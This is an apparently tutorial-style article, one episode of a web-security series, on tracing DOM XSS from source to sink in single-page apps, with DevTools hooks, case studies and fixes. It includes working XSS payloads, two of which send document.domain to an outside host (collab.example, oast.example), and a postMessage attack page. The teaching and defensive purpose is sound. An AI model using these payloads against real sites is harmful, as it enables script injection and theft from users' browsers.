DOM XSS is where server-side certainty dies and browser reality takes over. By the time the payload executes, the HTTP response can look clean, your proxy history can look boring, and every reflected-input test from the previous episode can come back negative. The bug lives in the client: attacker-controlled data enters JavaScript, gets transformed through routing, state hydration, helpers, or third-party code, and finally lands in an execution sink. In this episode, we’re going deep on tracing that path end to end—systematically, reproducibly, and with enough precision to turn “maybe DOM XSS” into a validated exploit chain and a defensible fix.
Why DOM XSS still burns mature teams
As we saw in Episode 1, the useful mental model is source → transform → sink → impact. DOM XSS is just that model applied inside the browser runtime. The reason it slips through reviews is simple:
- the source may never hit the server
- the dangerous transform may look harmless in isolation
- the sink may be buried in a framework helper or utility
- the trigger may require a route change, async fetch,
postMessage, or user interaction
A modern SPA can pull tainted data from:
location.searchlocation.hashdocument.referrerwindow.namepostMessagelocalStorage/sessionStorageBroadcastChannel- service worker messages
- API responses whose content is attacker-influenced
- third-party widgets or embedded content
And then route it into sinks like:
element.innerHTMLouterHTMLinsertAdjacentHTMLdocument.writeiframe.srcdocRange.createContextualFragmentDOMParser.parseFromString(..., 'text/html')eval,Function- string-based
setTimeout/setInterval script.srcor dynamic script creation- event handler assignment from strings in unsafe code paths
- URL sinks that accept
javascript:or HTML-like content in embedded contexts
The trick is not memorizing sink lists. The trick is tracing taint through code that was never designed to make trust boundaries obvious.
The DOM XSS hunting mindset: trace execution, not reflections
For reflected and stored XSS, you often start with a response and ask: “How is my input rendered?” For DOM XSS, start with the browser and ask:
- What attacker-controlled sources exist?
- Where are they read?
- What transforms happen before rendering or execution?
- Which sink receives the final value?
- What exact parser context does that sink create?
- What conditions gate the vulnerable path?
This is source-to-sink tracing, and it’s the fastest way to cut through noisy client code.
High-value DOM XSS sources to prioritize
Experienced testers already know to fuzz query params and fragments. The advanced move is prioritization.
1. Hash-based routers
Many SPAs still use hash routing or read fragments for state:
const route = location.hash.slice(1);
document.querySelector('#view').innerHTML = render(route);
Attack surface:
- route segments
- pseudo-query params in hash
- encoded payloads decoded later
- client-side redirects based on fragment data
Test quickly:
curl -I 'https://target.example/#/profile?tab=test'
Then verify in-browser, because the server never sees the fragment.
2. `postMessage`
This is one of the highest-value DOM XSS sources because it often bridges trust boundaries between windows, iframes, and third-party integrations.
window.addEventListener('message', (e) => {
if (e.data.type === 'preview') {
preview.innerHTML = e.data.html;
}
});
Common failures:
- missing or weak
originvalidation - checking
event.origin.includes(...) - validating origin but not message schema
- trusting HTML fields from “trusted” senders
3. Storage-backed state
Apps persist user-controlled values and later render them unsafely:
const themeName = localStorage.getItem('welcome');
banner.innerHTML = `<b>${themeName}</b>`;
This matters because exploitation may require a two-step chain:
- write tainted data to storage
- trigger a page or component that consumes it
4. API responses with client-side rendering
Server response may be JSON-safe, but the client may still convert it into HTML unsafely:
fetch('/api/search?q=' + encodeURIComponent(q))
.then(r => r.json())
.then(data => {
results.innerHTML = data.items.map(i => `<li>${i.label}</li>`).join('');
});
Now the source is not just location.search; it’s any attacker-controlled content that can flow into the API response.
Source-to-sink tracing in practice
Let’s walk an actual workflow.
Step 1: Enumerate source reads
In DevTools Sources or your local copy of the JS bundle, search for source patterns:
location
location.search
location.hash
document.URL
document.documentURI
document.referrer
window.name
localStorage
sessionStorage
postMessage
addEventListener('message'
BroadcastChannel
indexedDB
URLSearchParams
CLI-assisted grepping on downloaded bundles helps too:
grep -RInE 'location\.|document\.URL|documentURI|referrer|localStorage|sessionStorage|postMessage|URLSearchParams|innerHTML|outerHTML|insertAdjacentHTML|eval|Function|srcdoc' ./js/
Minified bundles are ugly, but source maps often save you. In Chrome DevTools:
- open Sources
- enable source maps
- pretty-print minified files if needed
- set breakpoints on source reads and sink writes
Step 2: Set sink breakpoints
Chrome DevTools lets you break on DOM modifications. Useful options:
- Subtree modifications
- Attribute modifications
- XHR/fetch breakpoints for async render flows
For JavaScript sinks, use manual instrumentation in the console:
(function() {
const orig = Element.prototype.insertAdjacentHTML;
Element.prototype.insertAdjacentHTML = function(pos, html) {
console.log('[insertAdjacentHTML]', {element: this, pos, html, stack: new Error().stack});
return orig.call(this, pos, html);
};
})();
Likewise for innerHTML:
(function() {
const desc = Object.getOwnPropertyDescriptor(Element.prototype, 'innerHTML');
Object.defineProperty(Element.prototype, 'innerHTML', {
set(value) {
console.log('[innerHTML set]', {element: this, value, stack: new Error().stack});
return desc.set.call(this, value);
},
get: desc.get
});
})();
This is gold during dynamic analysis. You stop guessing and start seeing exact values and call stacks.
Step 3: Taint with unique markers
Use high-entropy markers so you can follow data through transforms:
htsD0mXss_9f31_AAA
Inject it into:
- query params
- fragment
postMessage- storage
- form fields that later hydrate client state
Then search globally in DevTools:
- network responses
- DOM
- console logs from your instrumented sinks
- local/session storage values
Step 4: Follow transforms, not just direct assignments
Most real DOM XSS isn’t:
el.innerHTML = location.hash;
It’s more like:
const params = new URLSearchParams(location.search);
const q = decodeURIComponent(params.get('q') || '');
const safe = q.replace(/\+/g, ' ');
renderResults(formatLabel(safe));
And deeper:
function formatLabel(v) {
return `<span class="label">${v}</span>`;
}
function renderResults(html) {
list.insertAdjacentHTML('beforeend', `<li>${html}</li>`);
}
The dangerous transform is often a helper that wraps tainted input in “safe-looking” HTML.
Case study 1: Hash route to `innerHTML`
Consider this client code:
function loadTab() {
const tab = decodeURIComponent(location.hash.slice(1) || 'home');
const content = templates[tab] || `<h2>${tab}</h2>`;
document.querySelector('#content').innerHTML = content;
}
window.addEventListener('hashchange', loadTab);
loadTab();
At first glance, this may look limited because known tabs map to static templates. But the fallback path is attacker-controlled HTML.
Exploit:
https://target.example/#%3Cimg%20src=x%20onerror=fetch('https://collab.example/x?c='%2Bdocument.domain)%3E
Why this matters:
- the server never sees the fragment
- reflected testing won’t catch it
- scanners often miss hash-only execution paths unless they drive the browser
Safer proof payload in a lab:
#<img src=x onerror=console.log('DOM-XSS')>
Case study 2: `postMessage` preview widget
Parent page:
window.addEventListener('message', (event) => {
if (event.origin.indexOf('https://app.example') === 0) {
if (event.data.action === 'preview') {
preview.innerHTML = event.data.body;
}
}
});
Problems:
indexOf(...) === 0allows attacker origins likehttps://app.example.attacker.tldbodyis inserted as HTML
Attacker page:
<!doctype html>
<html>
<body>
<script>
const victim = window.open('https://target.example/editor');
setTimeout(() => {
victim.postMessage({
action: 'preview',
body: '<img src=x onerror="console.log(`pwned`)">'
}, '*');
}, 1500);
</script>
</body>
</html>
If the origin check is weak enough and the target page is reachable in a windowed context, this becomes a clean DOM XSS.
A stricter exploit test from the browser console when you control an embedded frame:
frames[0].postMessage({action:'preview', body:'<svg onload=console.log(1)>'}, '*');
What to inspect in `postMessage` handlers
Search for:
addEventListener("message"
onmessage =
event.origin
event.data
JSON.parse(event.data)
Red flags:
if (event.origin.includes('trusted.com')) { ... }
if (/trusted\.com/.test(event.origin)) { ... }
if (event.data.html) el.innerHTML = event.data.html;
Case study 3: DOM XSS through API JSON and client templating
Code:
const params = new URLSearchParams(location.search);
const user = params.get('user');
fetch(`/api/profile?user=${encodeURIComponent(user)}`)
.then(r => r.json())
.then(data => {
card.innerHTML = `
<h3>${data.displayName}</h3>
<p>${data.bio}</p>
`;
});
This is not “just stored XSS” or “just reflected XSS.” It’s a hybrid chain:
- source: query param influences API request
- transform: backend returns JSON
- sink: client renders JSON into
innerHTML
This distinction matters operationally:
- server-side output encoding in the JSON response does not solve the client sink
- proxy-only testing may miss execution if you never inspect the live DOM
- impact may depend on who can control
displayNameorbio
Dangerous sinks beyond the obvious
Experienced testers know innerHTML. Here are the ones that still get missed.
`srcdoc`
iframe.srcdoc = userContent;
This creates a new HTML document. Payloads that fail in a div may execute here.
`Range.createContextualFragment`
const range = document.createRange();
const frag = range.createContextualFragment(html);
target.appendChild(frag);
Developers use this thinking it’s lower-level and safer. It’s not.
`DOMParser.parseFromString`
const doc = new DOMParser().parseFromString(html, 'text/html');
container.append(doc.body);
Execution may depend on how the parsed nodes are later adopted into the live DOM.
String-based timers
setTimeout(userInput, 0);
setInterval("doThing('" + x + "')", 1000);
These are effectively eval.
Dynamic script creation
const s = document.createElement('script');
s.src = config.url;
document.head.appendChild(s);
If config.url is attacker-controlled and policy allows it, this is direct script injection. Even when javascript: won’t work in src, attacker-controlled remote script URLs can still be game over.
Advanced tracing with DevTools and runtime hooks
Break on sink invocation
In the console, hook multiple sinks at once:
(function() {
const hooks = [];
function wrap(obj, name) {
const orig = obj[name];
obj[name] = function(...args) {
console.log(`[HOOK] ${name}`, {thisObj: this, args, stack: new Error().stack});
return orig.apply(this, args);
};
hooks.push([obj, name, orig]);
}
wrap(Element.prototype, 'insertAdjacentHTML');
wrap(Document.prototype, 'write');
wrap(window, 'eval');
wrap(window, 'setTimeout');
wrap(window, 'setInterval');
console.log('Hooks installed');
})();
Now trigger route changes, clicks, and messages. You’ll see where tainted values land.
Monitor `postMessage`
window.addEventListener('message', e => {
console.log('[message]', {
origin: e.origin,
data: e.data,
stack: new Error().stack
});
}, true);
Trace storage flows
for (const k of Object.keys(localStorage)) {
console.log('localStorage', k, localStorage.getItem(k));
}
Then grep the bundle for those keys.
Payload strategy for DOM XSS
As in the previous episode, keep payloads minimal and context-aware. But for DOM XSS, also adapt to the sink semantics.
HTML insertion sink
<img src=x onerror=console.log('xss')>
SVG-capable HTML parsing sink
<svg onload=console.log('xss')>
`srcdoc` sink
<script>console.log('xss')</script>
String-to-code sink
If tainted data reaches eval or string timers, even a plain JS expression may be enough:
console.log('xss')
Out-of-band validation
For realistic confirmation, use a controlled endpoint rather than alert().
<img src=x onerror="fetch('https://oast.example/collect?d='+encodeURIComponent(document.domain))">
Use this only in authorized environments and keep exfil to benign proof data.
Common false negatives in DOM XSS testing
1. Looking only at server responses
DOM XSS may never appear in Burp response bodies.
2. Missing async paths
The sink may trigger after:
- a route change
- a delayed render
- a fetch completion
- a click or hover
- a frame message
3. Testing only `location.search`
Real bugs often live in:
hashpostMessage- storage
- referrer-dependent flows
- API-fed rendering
4. Ignoring framework wrappers
The sink may be hidden in:
- custom render helpers
- markdown preview components
- “safe HTML” wrappers
- legacy utility modules still used by modern components
Defending against DOM XSS
The fix is not “sanitize more” as a vague principle. The fix is to eliminate unsafe sink patterns and enforce trusted rendering.
Prefer safe DOM APIs over HTML parsing
Unsafe:
results.innerHTML = `<li>${label}</li>`;
Safer:
const li = document.createElement('li');
li.textContent = label;
results.appendChild(li);
Unsafe:
el.insertAdjacentHTML('beforeend', userHtml);
Safer:
- render text with
textContent - build nodes explicitly
- if HTML is truly required, sanitize with a well-maintained sanitizer and tightly constrain allowed tags/attrs
Validate and constrain `postMessage`
window.addEventListener('message', (event) => {
if (event.origin !== 'https://app.example') return;
if (!event.data || event.data.action !== 'preview') return;
if (typeof event.data.body !== 'string') return;
preview.textContent = event.data.body;
});
If rich HTML is required, sanitize before insertion and define a strict schema for message fields.
Avoid string-to-code APIs
Never do this:
setTimeout(userInput, 0);
eval(userInput);
new Function(userInput);
Use function references:
setTimeout(() => doThing(userInput), 0);
Sanitize once, at the right boundary
If you must render HTML, sanitize immediately before the HTML sink—not earlier in the flow where later transforms can reintroduce risk.
Enforce Trusted Types and CSP
We’ll go deep on this in Episode 6, but it matters here because Trusted Types can break entire classes of DOM XSS by preventing raw strings from reaching dangerous sinks like innerHTML and eval-adjacent APIs.
Example high-level policy direction:
- enable CSP with nonces/hashes
- disallow inline script where possible
- enable Trusted Types
- centralize HTML sanitization in one reviewed policy
A practical DOM XSS hunt workflow
For real targets, this sequence works:
1. Map client-side sources
Search bundles and runtime behavior for:
- router reads
- query/hash parsing
- message handlers
- storage reads
- fetch/XHR rendering
2. Hook sinks
Instrument innerHTML, insertAdjacentHTML, document.write, eval, timers, srcdoc.
3. Inject unique markers
Use source-specific markers in:
- query params
- hash
postMessage- storage
4. Trigger app states
Manually:
- click tabs
- open modals
- switch routes
- use preview features
- trigger embeds and iframes
5. Confirm parser context
When the marker reaches a sink, determine:
- HTML node context
- attribute context
- script/string context
- URL/document context
Then choose the smallest payload that fits.
6. Assess real impact
Can the bug:
- execute in another user’s browser?
- affect admins or support staff?
- chain from
postMessageor storage poisoning? - reach authenticated actions or sensitive DOM data?
Closing thoughts
DOM XSS rewards people who can think like both a reverse engineer and a browser parser. You’re not just fuzzing inputs—you’re tracing trust through a living client-side system, watching how data mutates, and identifying the exact moment a string becomes executable code or active markup. If you build that source-to-sink discipline, DOM XSS stops being mystical and starts becoming methodical.
In the next episode, we’ll turn up the heat: once you’ve found the sink, how do you survive filters, sanitizers, parser weirdness, and WAFs? Time for polyglots, mutation tricks, and filter evasion.